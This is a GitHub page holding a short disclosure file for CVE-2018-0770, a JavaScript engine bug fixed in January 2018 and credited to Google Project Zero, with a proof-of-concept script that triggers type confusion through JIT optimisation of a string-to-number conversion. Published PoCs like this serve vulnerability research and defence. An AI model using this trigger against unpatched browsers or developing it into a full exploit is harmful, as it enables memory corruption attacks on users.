Skip to content

Latest commit

 

History

History
31 lines (24 loc) · 631 Bytes

CVE-2018-0770.md

File metadata and controls

31 lines (24 loc) · 631 Bytes

CVE-2018-0770

  • Fix: Jan 2018
  • Credit: lokihardt of Google Project Zero

PoC

function opt() {
    let obj = '2.3023e-320';
    for (let i = 0; i < 1; i++) {
        obj.x = 1;
        obj = +obj;
        obj.x = 1;
    }
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();

Reference